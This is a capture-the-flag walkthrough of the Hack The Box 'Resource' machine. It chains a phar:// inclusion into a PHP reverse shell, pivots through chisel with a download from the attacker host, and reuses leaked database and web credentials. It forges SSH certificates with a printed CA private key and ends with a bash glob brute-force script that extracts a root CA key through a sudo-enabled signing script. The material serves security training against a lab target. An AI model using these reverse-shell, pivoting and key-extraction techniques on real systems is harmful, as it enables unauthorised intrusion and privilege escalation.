Table of contents
Open Table of contents
Info
CTF URL: https://app.hackthebox.com/machines/Resource
IP: 10.10.11.27
Difficulty: Medium
Initial Reconnaissance
NMAP
nmap -p- -sS -sC -sV 10.10.11.27 -v --min-rate 10000
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_ 256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_ 256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
add itrc.ssg.htb
and ssg.htb
to /etc/hosts
Web
There is a website at port 80.
Allows Registration. So, I registered a user and log in. I can add an attachment as a Zip File
Shell From WEB
Lets check the functionality. Create a payload
vim php-reverse-shell.php
# changed IP and PORT
zip php-reverse-shell.zip php-reverse-shell.php
and upload the zip. The location of uploaded zip it the following:
http://itrc.ssg.htb/uploads/ec896d3d88580400a9caf87486e7c5e57afd6ee2.zip
But it does not unzip it over there.
Let’s unzip it over there using phar. Phar is extension for php that allows working with compressed formats.
phar://uploads/ec896d3d88580400a9caf87486e7c5e57afd6ee2.zip/php-reverse-shell
So, navigating to the following link gives us reverse shell:
http://itrc.ssg.htb/?page=phar://uploads/ec896d3d88580400a9caf87486e7c5e57afd6ee2.zip/php-reverse-shell
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.27] 45824
Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64 GNU/Linux
17:35:57 up 32 min, 0 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
$ whoami
www-data
www-data to a user
enum
2 non-root users
www-data@itrc:/home$ ls -la
ls -la
total 20
drwxr-xr-x 1 root root 4096 Jul 23 14:22 .
drwxr-xr-x 1 root root 4096 Jul 23 14:22 ..
drwx------ 1 msainristil msainristil 4096 Jul 23 14:22 msainristil
drwx------ 1 zzinter zzinter 4096 Aug 9 17:05 zzinter
it is a docker container
www-data@itrc:/$ ls -la
ls -la
total 76
drwxr-xr-x 1 root root 4096 Jul 23 14:22 .
drwxr-xr-x 1 root root 4096 Jul 23 14:22 ..
-rwxr-xr-x 1 root root 0 Jul 23 14:22 .dockerenv
a custom script at /opt
ls -la /opt/startup.sh
-rwxrwxr-x 1 root root 49 Jan 24 2024 /opt/startup.sh
cat /opt/startup.sh
#!/bin/bash
service ssh start
apache2-foreground
itrc web folder
www-data@itrc:/var/www/itrc$ ls -la
ls -la
total 108
drwxr-xr-x 1 www-data www-data 4096 Feb 19 18:13 .
drwxr-xr-x 1 www-data www-data 4096 Jul 25 11:28 ..
-rw-rw-r-- 1 www-data www-data 4313 Jan 24 2024 admin.php
drwxrwxr-x 1 www-data www-data 4096 Feb 26 23:18 api
drwxrwxr-x 1 www-data www-data 4096 Jan 22 2024 assets
-rw-rw-r-- 1 www-data www-data 979 Jan 23 2024 create_ticket.php
-rw-rw-r-- 1 www-data www-data 344 Jan 24 2024 dashboard.php
-rw-rw-r-- 1 www-data www-data 308 Jan 22 2024 db.php
-rw-rw-r-- 1 www-data www-data 746 Jan 24 2024 filter.inc.php
-rw-rw-r-- 1 www-data www-data 982 Jan 24 2024 footer.inc.php
-rw-rw-r-- 1 www-data www-data 1869 Jan 24 2024 header.inc.php
-rw-rw-r-- 1 www-data www-data 844 Jan 22 2024 home.php
-rw-rw-r-- 1 www-data www-data 368 Feb 19 18:14 index.php
-rw-rw-r-- 1 www-data www-data 105 Feb 19 18:14 loggedin.php
-rw-rw-r-- 1 www-data www-data 433 Jan 23 2024 login.php
-rw-rw-r-- 1 www-data www-data 73 Jan 22 2024 logout.php
-rw-rw-r-- 1 www-data www-data 566 Jan 23 2024 register.php
-rw-rw-r-- 1 www-data www-data 2225 Feb 6 2024 savefile.inc.php
-rw-rw-r-- 1 www-data www-data 4968 Feb 6 2024 ticket.php
-rw-rw-r-- 1 www-data www-data 1374 Jan 24 2024 ticket_section.inc.php
drwxrwxr-x 1 www-data www-data 4096 Aug 9 17:34 uploads
db.php
<?php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);
try {
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
}
some creds for db!!!
Username | Password | Service |
---|---|---|
jj | ugEG5rR5SG8uPd | mysql |
a big zip file
www-data@itrc:/var/www/itrc/uploads$ ls -la
ls -la
total 3044
drwxrwxr-x 1 www-data www-data 4096 Aug 9 18:08 .
drwxr-xr-x 1 www-data www-data 4096 Feb 19 18:13 ..
-rw-r--r-- 1 www-data www-data 162 Jul 25 11:30 21de93259c8a45dd2223355515f1ee70d8763c8a.zip
-rw-r--r-- 1 www-data www-data 162 Jul 25 12:48 88dd73e336c2f81891bddbe2b61f5ccb588387ef.zip
-rw-r--r-- 1 www-data www-data 2391 Aug 9 17:11 a3e780fdcd45b250f3e50a177681714ffc5f6527.zip
-rw-r--r-- 1 www-data www-data 162 Jul 25 11:28 b829beac87ea0757d7d3432edeac36c6542f46c4.zip
-rw-rw-r-- 1 www-data www-data 1162513 Feb 6 2024 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-r--r-- 1 www-data www-data 2373 Aug 9 17:19 d2960ff2fcc606a2488a598e3c3d8852e81d882c.zip
-rw-rw-r-- 1 www-data www-data 634 Feb 6 2024 e8c6575573384aeeab4d093cc99c7e5927614185.zip
-rw-rw-r-- 1 www-data www-data 275 Feb 6 2024 eb65074fe37671509f24d1652a44944be61e4360.zip
-rw-r--r-- 1 www-data www-data 2391 Aug 9 17:34 ec896d3d88580400a9caf87486e7c5e57afd6ee2.zip
c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
is quite big. Unzip it.
unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
# it will give some .har file
ls -la
...
-rw-rw-r-- 1 www-data www-data 1903087 Feb 6 2024 itrc.ssg.htb.har
It will be used later
Network
/etc/hosts
cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.223.0.3 itrc
ping scan
ping -c 1 172.223.0.1
ping -c 1 172.223.0.2
ping -c 1 172.223.0.3
# those hosts are reacheable
our IP
is 172.223.0.3
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.223.0.3 netmask 255.255.0.0 broadcast 172.223.255.255
ether 02:42:ac:df:00:03 txqueuelen 0 (Ethernet)
RX packets 2528 bytes 514545 (502.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2421 bytes 3878033 (3.6 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 974 bytes 69555 (67.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 974 bytes 69555 (67.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Proxyhain
redirect the traffic
I will use chisel for redirection:
have it on both systems:
# on kali
wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_linux_amd64.gz
gunzip chisel_1.10.0_linux_amd64.gz
chmod +x chisel_1.10.0_linux_amd64
python3 -m http.server 9999
# on target machine
cd /tmp
wget http://10.10.14.15:9999/chisel_1.10.0_linux_amd64
chmod +x chisel_1.10.0_linux_amd64
Then to redirect the traffic:
# on attack machine
## config is the following
cat /etc/proxychains4.conf
...
socks5 127.0.0.1 1080
## then run this
./chisel_1.10.0_linux_amd64 server -p 2200 --reverse
# on victim machine
./chisel_1.10.0_linux_amd64 client 10.10.14.15:2200 R:socks
scan the network
172.223.0.3
proxychains4 nmap 172.223.0.3 --top-ports 100
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
172.223.0.2
proxychains4 nmap 172.223.0.2 --top-ports 100
PORT STATE SERVICE
3306/tcp open mysql
So mysql db is on another container
172.223.0.1
proxychains4 nmap 172.223.0.2 --top-ports 100
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2222/tcp open ssh
Most likely it is the host machine that holds docker containers.
connect to mysql
We can connect to the 172.223.0.2
with found credentials.
proxychains4 mysql -h 172.223.0.2 -u jj -p
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Enter password:
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.223.0.2:3306 ... OK
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 125
Server version: 11.3.2-MariaDB-1:11.3.2+maria~ubu2204 mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
let’s check what we can find
db and tables
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| resourcecenter |
+--------------------+
use resourcecenter;
show tables;
+--------------------------+
| Tables_in_resourcecenter |
+--------------------------+
| messages |
| tickets |
| users |
+--------------------------+
messages table
select message from messages;
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| message |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| I will take care of this. |
| Access granted. Signed key will be emailed to you via encrypted email. |
| Thank you. Got it. |
| On it. |
| I will take care of this. |
| We're having some issues with the signing process. I'll get back to you once we have that resolved. |
| Can you attach a HAR file where the issue happens so the web team can troubleshoot? |
| Attached. |
| Any update here? There's a bit of a panic going on in finance. |
| We're going to take four laptops in for reimaging. Will update as that progresses. |
| They see the issue. I'm going to have to work with the IT team in corporate to get this resolved. For now, they've given me access to the IT server and a bash script to generate keys. I'll handle all SSH provisioning tickets. |
| It's this kind of stuff that makes me say it was a bad idea to move off the old system. |
| I've sent you the signed key via secure email |
| Got it. Thanks. |
| The API from the IT server seems to be working well now. I've got a script that will sign public keys with the appropriate principal to validate it works. I'm still handling these tickets, but hopefully we'll have it resolved soon. |
| The new system is super flakey. I know it won't work across the rest of the company, but I'm going to at least leave the old certificate in place here until we prove we can work on the new one |
| Old certificates have been taken out of /etc. I've got the old signing cert secured. This server will trust both the old and the new for some time until we work out any issues with the new system. |
| Thanks for the update. I'm sure the new system will be fine. Closing this ticket. |
| All testing of the updated API seems good. At IT's request I've deleted my SSH keys for their server. I'll still handle tickets using the script until we get a chance to update the ITRC web admin panel to use it. |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
tickets table
select subject from tickets;
+----------------------------------------------+
| subject |
+----------------------------------------------+
| Need SSH Access to HR Server |
| Decommission ITRC SSH Certificate |
| Malware in finance dept |
| Please provision access to marketing servers |
| SSH Key Signing Broken
users table
select user,password from users where role='admin';
+-------------+--------------------------------------------------------------+
| user | password |
+-------------+--------------------------------------------------------------+
| zzinter | $2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2 |
| msainristil | $2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6 |
+-------------+--------------------------------------------------------------+
Let’s crack them out
cracking hashes
echo '$2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2
$2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6' > hashes
john hashes --wordlist=/usr/share/wordlists/rockyou.txt
- Unsuccessful
:(
the .har
file
We can access .har
file (mentioned in the messages and found in web directory) by navigating to:
- http://itrc.ssg.htb/uploads/itrc.ssg.htb.har
wget http://itrc.ssg.htb/uploads/itrc.ssg.htb.har
it contains some logs.
From Wiki The HTTP Archive format, or HAR, is a JSON-formatted archive file format for logging of a web browser’s interaction with a site. The common extension for these files is .har.
import
Let’s analyze it. Open Developer Tools on Browser and upload Har file:
Findings
After importing a lot of logs will appear in the the Network bar. and credentials will be found.
user=msainristil&pass=82yards2closeit
Let’s add it too the credentials table:
Username | Password | Service |
---|---|---|
jj | ugEG5rR5SG8uPd | mysql |
msainristil | 82yards2closeit | ssh |
ssh login
ssh [email protected]
# 82yards2closeit
msainristil@itrc:~$ whoami
msainristil
msainristil to another user
Certificates
The certificates discussed in the messages:
msainristil@itrc:~$ ls -la
total 32
drwx------ 1 msainristil msainristil 4096 Jul 23 14:22 .
drwxr-xr-x 1 root root 4096 Jul 23 14:22 ..
lrwxrwxrwx 1 root root 9 Jul 23 14:22 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil 220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 msainristil msainristil 807 Mar 29 19:40 .profile
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24 2024 decommission_old_ca
msainristil@itrc:~$ ls -la decommission_old_ca/
total 20
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24 2024 .
drwx------ 1 msainristil msainristil 4096 Jul 23 14:22 ..
-rw------- 1 msainristil msainristil 2602 Jan 24 2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil 572 Jan 24 2024 ca-itrc.pub
ca-itrc
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
ca-itrc.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoBD1UoFfL41g/FVX373rdm5WPz+SZ0bWt5PYP+dhok4vb3UpJPIGOeAsXmAkzEVYBHIiE+aGbrcXvDaSbZc6cI2aZfFraEPt080KVKHALAPgaOn/zFdld8P9yaENKBKltWLZ9I6rwg98IGEToB7JNZF9hzasjjD0IDKv8JQ3NwimDcZTc6Le0hJw52ANcLszteliFSyoTty9N/oUgTUjkFsgsroEh+Onz4buVD2bxoZ+9mODcdYTQ4ChwanfzFSnTrTtAQrJtyH/bDRTa2BpmdmYdQu+4HcbDl5NbiEwu1FNskz/YNDPkq3bEYEOvgMiu/0ZMy0wercx6Tn0G2cppS70/rG5GMcJi0WTcUic3k+XJ191WEG1EtXJNbZdtJc7Ky0EKhat0dgck8zpq62kejtkBQd86p6FvR8+xH3/JMxHvMNVYVODJt/MIik99sWb5Q7NCVcIXQ0ejVTzTI9QT27km/FUgl3cs5CZ4GIN7polPenQXEmdmbBOWD2hrlLs= ITRC Certifcate CA
SSH as zzinter
We need to sign ssh keys and ssh as zzinter
user
ssh-keygen -t rsa -b 2048 -f keypair
ssh-keygen -s ca-itrc -n zzinter -I something keypair.pub
ssh zzinter@localhost -i keypair
# note I sshed from the target machine because I can
zzinter@itrc:~$ whoami
zzinter
user.txt
zzinter@itrc:~$ cat user.txt
6d83a6132ebdb6694ec8ae6c90488c32
zzinter to another user 2
Certificates
zzinter@itrc:~$ ls -la
total 32
drwx------ 1 zzinter zzinter 4096 Aug 9 17:05 .
drwxr-xr-x 1 root root 4096 Jul 23 14:22 ..
lrwxrwxrwx 1 root root 9 Jul 23 14:22 .bash_history -> /dev/null
-rw-r--r-- 1 zzinter zzinter 220 Mar 29 19:40 .bash_logout
-rw-r--r-- 1 zzinter zzinter 3526 Mar 29 19:40 .bashrc
-rw-r--r-- 1 zzinter zzinter 807 Mar 29 19:40 .profile
-rw-rw-r-- 1 root root 1193 Feb 19 16:43 sign_key_api.sh
-rw-r----- 1 root zzinter 33 Aug 9 17:03 user.txt
inside sign_key_api.sh
:
#!/bin/bash
usage () {
echo "Usage: $0 <public_key_file> <username> <principal>"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
There is a support
user
# generated a public key
ssh-keygen -t rsa -b 2048 -f keypair
# generate a certificate
bash sign_key_api.sh keypair.pub support support > support.cert
It will allow to ssh to port 2222
(found in nmap scan) as support
user
Login as Support user
ssh -o CertificateFile=support.cert -i keypair [email protected] -p 2222
# note I sshed from the target machine again
support@ssg:~$ whoami
support
support to zzinter
Enum
/opt
ls -la /opt
total 16
drwxr-xr-x 3 root root 4096 Jul 23 14:03 .
drwxr-xr-x 19 root root 4096 Jul 24 11:54 ..
-rwxr----- 1 root zzinter 1480 Jul 23 14:02 sign_key.sh
drwx------ 4 root root 4096 Feb 8 2024 signserv
/etc/hosts
127.0.0.1 localhost
127.0.1.1 ssg resource.htb
172.223.0.3 itrc.ssg.htb
172.223.0.1 signserv.ssg.htb
/home
2 users:
support@ssg:/home$ ll
total 16
drwxr-xr-x 4 root root 4096 Jul 23 13:44 ./
drwxr-xr-x 19 root root 4096 Jul 24 11:54 ../
drwxr-x--- 5 support support 4096 Aug 9 20:12 support/
drwxr-x--- 3 zzinter zzinter 4096 Jul 23 13:26 zzinter/
/etc/ssh/auth_principals
Checking the principals supported.
support@ssg:/etc/ssh/auth_principals$ cat root
root_user
support@ssg:/etc/ssh/auth_principals$ cat support
support
root_user
support@ssg:/etc/ssh/auth_principals$ cat zzinter
zzinter_temp
Rerun the sign script
For Root User
bash sign_key_api.sh keypair.pub root root_user
# But we get
Error: 'root_user' is not a supported principal.
Choose from:
webserver - external web servers - webadmin user
analytics - analytics team databases - analytics user
support - IT support server - support user
security - SOC servers - support user
Usage: sign_key_api.sh <public_key_file> <username> <principal>
Let’s alter the script a little and add the principals.
cp sign_key_api.sh my_sign_key_api.sh
vim my_sign_key_api.sh
# change the following
...
supported_principals="webserver,analytics,support,security,root_user,zzinter_temp"
...
trying again
bash my_sign_key_api.sh keypair.pub root root_user
{"detail":"Root access must be granted manually. See the IT admin staff."}
For zzinter
bash my_sign_key_api.sh keypair.pub zzinter zzinter_temp > zzinter.cert
# works
SSH as zzinter
ssh -o CertificateFile=zzinter.cert -i keypair [email protected] -p 2222
# we are in
zzinter@ssg:~$ whoami
zzinter
zzinter@ssg:~$ hostname
ssg
zzinter to root
/opt/sign_key.sh
Now we can read it.
#!/bin/bash
usage () {
echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
if [[ $ca == "/etc/ssh/ca-it" ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
Additionally we can run it as root:
zzinter@ssg:/opt$ sudo -l
Matching Defaults entries for zzinter on ssg:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User zzinter may run the following commands on ssg:
(root) NOPASSWD: /opt/sign_key.sh
Become a Root
We cannot read /etc/ssh/ca-it
, but we can brute force, and bash allows us brute force with a wildcard *
.
ssh-keygen -t rsa -b 2048 -f keypair
and then run the script for brute force:
#!/bin/bash
header="-----BEGIN OPENSSH PRIVATE KEY-----"
footer="-----END OPENSSH PRIVATE KEY-----"
b64chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/"
key="" # if it stucks, you can add the found part of key here, and it will continue
lines=0
while true; do
found=false
for char in $(echo $b64chars | fold -w1); do
# Test the key with the current character
echo -e "${header}\n${key}${char}*" > the.key
sudo /opt/sign_key.sh the.key keypair.pub root root_user 1 &> /dev/null
# If the character is correct, append it to the key
if [ $? -eq 1 ]; then
key+=$char
found=true
# Add a newline every 70 characters
if [ $(( (${#key} - $lines) % 70 )) -eq 0 ]; then
key+="\n"
lines=$((lines + 1))
fi
break
fi
done
# Break the loop if no correct character was found in the current iteration
if [ "$found" = false ]; then
break
fi
done
# Write the final key to the file
echo -e "${header}\n${key}\n${footer}" > root.cert
bash brute.sh &
tail -f the.key
You will watch how the key is getting built
The script is a little baggy, but somehow(by writing the key into the script) I could make it give me the key.
root.cert
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY-----
Now, login as a root
ssh-keygen -t rsa -b 2048 -f keypair
ssh-keygen -s root.cert -z 1 -I root -V -1w:forever -n root_user keypair.pub
ssh -o CertificateFile=keypair-cert.pub -i keypair [email protected] -p 2222
root@ssg:~# whoami
root
root.txt
root@ssg:~# cat root.txt
077fd41d62582082d2efa04a5b739281